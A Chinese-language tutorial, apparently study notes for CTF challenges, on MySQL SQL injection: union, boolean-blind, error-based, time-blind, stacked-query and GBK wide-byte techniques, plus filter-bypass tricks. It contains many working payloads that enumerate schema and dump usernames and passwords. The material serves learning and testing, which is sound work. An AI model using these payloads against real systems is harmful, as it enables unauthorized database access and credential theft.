文章目录
sql注入的基础
sql注入原理
sql注入漏洞需要满足两个条件
1.参数用户可控,2.参数带入数据库查询
开发者需要秉持外部参数不可信原则
与mysql注入相关的知识
在MySQL5.0版本之后MySQL默认数据库中存放一个“information_schema”的数据库,在该数据库中需要记住三个表名,schemata,tables,columns。
schemata表存储该用户创建所有表的数据库的库名。如图所示,而我们需要记住记录数据库名的字段名为schema_name
tables表存储该用户创建的所有的数据库的库名和表名,我们需要记住数据库库名和表名字段分别为table_schema和table_name
columns表存储该用户创建的所有数据库的库名,表名和字段名。我们需要记住表中记录的数据库名,表名,字段名,table_schema,table_name,column_name.
需要记住的几个函数
- database():当前网站使用的数据库
- version():当前MySQL版本
- user():当前MySQL的用户
注释符
常见的表达方式:#或–空格或 /**/
内联注释
/*! */。内联注释可以用于整个sql语句中,来执行我们的sql语句
Union注入攻击
即使用联合查询语句
首先分析题目
需要传入一个名为id的参数
在url添加一个单引号后再次访问会报错
于是尝试在url后面添加 and 1=1 和and 1=2,发现and1=1正确,and 1=2错误
首先分析数据表中字段数量order by 3正确order by 4 错误
在2,3位置可以注入回显
查看数据库版本和数据库名
查询数据表
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --
表中字段名
0' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--
查询表中数据
id=0' union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users --
Boolean注入攻击
写入语句时,响应一般会出现yes,no,此时可以判断为boolean注入
也有可能会出现两种相反的响应情况,此时也可能位boolean注入
首先需要判断数据库名的长度
' and length(database())>=1 --+ #依次尝试最终可判断出长度
然后进行逐位判断
' and substr(database(),1,1)='t'--+#这里建议用bp爆破
也可以用ascii进行判断,这样比较方便
' and ascii(substr(database(),1,1))=115--+ # ascii开始的是32结束的是126
然后判断表名
' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='1'--+
大多数情况建议编写脚本进行判断
步骤大概就是这样,接下来就不一一赘述了
报错注入攻击
在进行参数测试时,可能多了一个单引号,此时程序直接将错误信息输出到了页面上,此时就可以利用报错注入获取数据了
此时主要利用的函数为updatexml()
在concat()中编写sql语句
获取user(),其中0x7e为ascii编码,解码结果为~
' and updatexml(1,concat(0x7e,(select user()),0x7e),1) --+
获取数据库库名
' and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
接着可以利用select语句继续获取数据库中的库名,表名和字段名,查询语句与Union注入的相同,因为报错注入只显示一条结果,所以使用limit语句。
获取表名
' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) --+
接下来都是同理
sql注入进阶
时间注入攻击
这种注入方式和boolean注入方式很像,遇到这种情况的另一种注入方式-时间盲注,与boolean注入的不同之处在于时间注入是利用时间sleep()或与benchmark()等函数让mysql执行的时间边长。
并且多于if(expr1,expr2,expr3) 就是如果expr1为真,则返回expr2,否则返回expr3
判断数据库库名的长度语句为
if (length(database())>1,sleep(5),1)
可以使用burpsuite重放攻击查看,通过响应时间,来判断条件是否正确。
判断数据库库名
if (substr(database(),1,1)='s',sleep(5),1)
剩下的语句与上述类似
堆叠查询注入攻击
首先访问1‘,页面返回错误信息,再访问1’%23,返回正常结果,此时可以使用boolean注入,时间注入,也可以使用另一种注入方式-堆叠注入。
堆叠注入的语句为
';select if(substr(database(),1,1)='r',sleep(3),1)%23
也可以为别的形式需要记住分号’;'后面是一个新的sql语句即可,但是堆叠注入大多数都是与boolean注入和时间注入联合使用。
获取数据库表名
';select if (substr((select table_name from information_schema.tables where table_schema=database()),1,1)='e',sleep(3),1)%23
宽字节注入攻击
传入1’时,返回结果出现1’ ',此处是不存在sql注入漏洞的,但是有一个特例,就是当数据库编码为GBK时可以使用宽字节注入,宽字节的格式是在地址后加一个%df,再加单引号,因为反斜杠的编码为%5c,而再GBK编码中%df%5c为一个繁体字,此时查询就会出错,一般结合Union注入使用。
1%df' union select 1,2,3 %23查看输出位置
查询表名时,一般使用语句
1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
查询列名的时候会有所不同,因为对单引号进行了过滤
select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()) %23
还有一些例如cookie注入,base64注入,和XFF注入,类型相似,不一一讲解了
sql注入绕过技术
大小写绕过注入
因为sql语句不分大小写,所以当语句被过滤的时候可以尝试换成大写或小写字母绕过
例如
SelEct * FroM table; 与select * from table 的效果相同
双写绕过注入
例如这种形式
会对php进行空过滤,此时就可以pphphp此时过滤后就是php成功绕过
select seselectlect
from frfromom
information infoinfoorrmationrmation 因为or一般也会过滤 所以使用oorr绕过
反正大概就是这样,需要慢慢积累
编码绕过注入
一般就是会对一些关键词进行编码,url编码,base64编码都是有可能的,不过这种情况一般较少
将传入的参数select 进行编码73656C656374此时为传入的参数
内联注释绕过注入
当访问id=1 and 1=1时出错,此时尝试使用内联注释绕过
id=1/*!and*/1=1与id=1返回的结果相同
就是将字符包在/*!*/
之中
总结:一般sql注入类型题目都会存在过滤,建议先进行fuzz测试判断那些字符被过滤来进一步编写sql语句
var code = “4f28b10e-7924-409d-9e63-f80bcbf7372e”